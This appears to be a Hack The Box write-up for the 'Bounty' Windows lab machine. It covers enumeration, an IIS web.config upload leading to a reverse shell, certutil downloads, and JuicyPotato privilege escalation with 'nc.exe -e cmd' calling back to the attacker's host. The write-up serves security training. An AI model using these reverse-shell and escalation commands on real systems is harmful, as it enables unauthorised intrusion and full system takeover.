> For the complete documentation index, see [llms.txt](https://alfa8sa.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alfa8sa.gitbook.io/htb-writeups/windows-machines/bounty.md).
# Bounty
## Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.93 -oN allPorts
* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.
{% code overflow="wrap" %}
```bash
# Nmap 7.92 scan initiated Sun Sep 4 21:22:13 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.054s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
# Nmap done at Sun Sep 4 21:22:39 2022 -- 1 IP address (1 host up) scanned in 26.72 seconds
```
{% endcode %}
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
> nmap -sC -sV -p80 10.10.10.93 -oN targeted
* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.
{% code overflow="wrap" %}
```bash
# Nmap 7.92 scan initiated Mon Sep 5 12:15:24 2022 as: nmap -sCV -p80 -oN targeted 10.10.10.93
Nmap scan report for 10.10.10.93
Host is up (0.036s latency).
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Bounty
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 5 12:15:34 2022 -- 1 IP address (1 host up) scanned in 10.33 seconds
```
{% endcode %}
The website only has one image.
Let's list directories with gobuster.
> gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 200 -x aspx
* `dir` enumerates **directories or files**.
* `-u` the **target** URL.
* `-w` path to the **wordlist**.
* `-t` number of current **threads**, in this case 200 threads.
* `-x` file **extensions** to search for.
```
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.93
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: aspx
[+] Timeout: 10s
===============================================================
2022/09/05 12:26:43 Starting gobuster in directory enumeration mode
===============================================================
/transfer.aspx (Status: 200) [Size: 941]
/UploadedFiles (Status: 301) [Size: 156] [--> http://10.10.10.93/UploadedFiles/]
===============================================================
2022/09/05 12:28:14 Finished
===============================================================
```
The `/transfer.aspx` allow us to upload files to the server.
But we can't list the content of the `/UploadedFiles` directory.
Let's try to upload a simple `test.txt` file.
An error pops up saying that the file is not valid. This might be happening because of the file extension. Let's intercept the upload request and brute-force the extension with the *Intruder*. Once the request is in the Intruder, add the payload to `.txt` only.
Then, in the `Payloads` tab, under the `Payload Options`, load the `/SecLists/Discovery/Web-Content/raft-small-extensions-lowercase.txt` extensions dictionary from [SecLists](https://github.com/danielmiessler/SecLists).
Make sure to disable the following option.
Then click in `Start attack`. Once the attack has started, order the lines based on the length of the response. Then responses with more bytes in the response will be extensions that the website supports.
## Exploitation
As we can see, the website supports extensions as `.jpg`, `.png` or `.jpeg`. It also supports the `.config` extension. If we search for exploits with that extension in *IIS* web servers, we'll find this article explaining how we can execute commands on the server by injection ASP code into a file `web.config` with the following content. The ASP code must be placed in between the last comment tags. In this case, the exploit will execute a command which will send us a reverse shell by executing `nc.exe` from a share that we will set later.
> nano web.config
```xml
```
Let's set a simple *SMB* server on the directory where the `nc.exe` binary is placed.
> impacket-smbserver smbFolder $(pwd) -smb2support
And a *netcat* listener on port *4444* with *rlwrap*.
> rlwrap nc -lvnp 4444
* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.
Upload the `web.config` file to the web server.
If we access the `web.config` file from the `/UploadedFiles` directory, we should catch a reverse shell as the `merlin` user, and we'll be able to grab the user flag.
>
```
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.93] 49158
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
bounty\merlin
type \users\merlin\desktop\user.txt
a6dd00db3762441a250b90692c644b49
```
## Privilege Escalation
Let's start by seeing what privileges the user `merlin` has.
> whoami /priv
```
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
```
If a user has the *SeImpersonatePrivilege*, the first thing that comes to mind is *JuicyPotato*.
{% hint style="info" %}
**JuicyPotato** is a local privilege escalation tool for Windows, which uses COM objects for privilege escalation. It is needed that *SeImpersonate* or *SeAssignPrimaryToken* are enabled.
{% endhint %}
To escalate privileges, we'll have to transfer `JuicyPotato.exe` and `nc.exe` binaries to the victim machine. Let's set a python HTTP server on the directory where we have those binaries.
> python -m SimpleHTTPServer
And download the binaries from the desktop folder of the *tolis* user.
> certutil.exe -f -urlcache -split JuicyPotato.exe
>
> certutil.exe -f -urlcache -split nc.exe
Before executing the `JuicyPotato.exe` binary, let's set another *netcat* listener on port *5555* to catch a reverse shell as the `NT AUTHORITY\SYSTEM` user.
> nc -lvnp 5555
* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.
Finally, let's run the Juicy Potato binary and get a shell as the `NT AUTHORITY\SYSTEM` user. Then all we have to do is reap the harvest and take the root flag.
> JuicyPotato.exe -t \* -l 1337 -p C:\Windows\System32\cmd.exe -a "/c C:\users\merlin\desktop\nc.exe -e cmd 10.10.14.11 5555"
* `-t` **createprocess** call.
* `-l` COM server listen **port**.
* `-p` **program** to launch.
* `-a` specify command **arguments**.
```
listening on [any] 5555 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.93] 49166
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
nt authority\system
type \users\administrator\desktop\root.txt
cdf94e82125f93bbe4daeca886944442
```
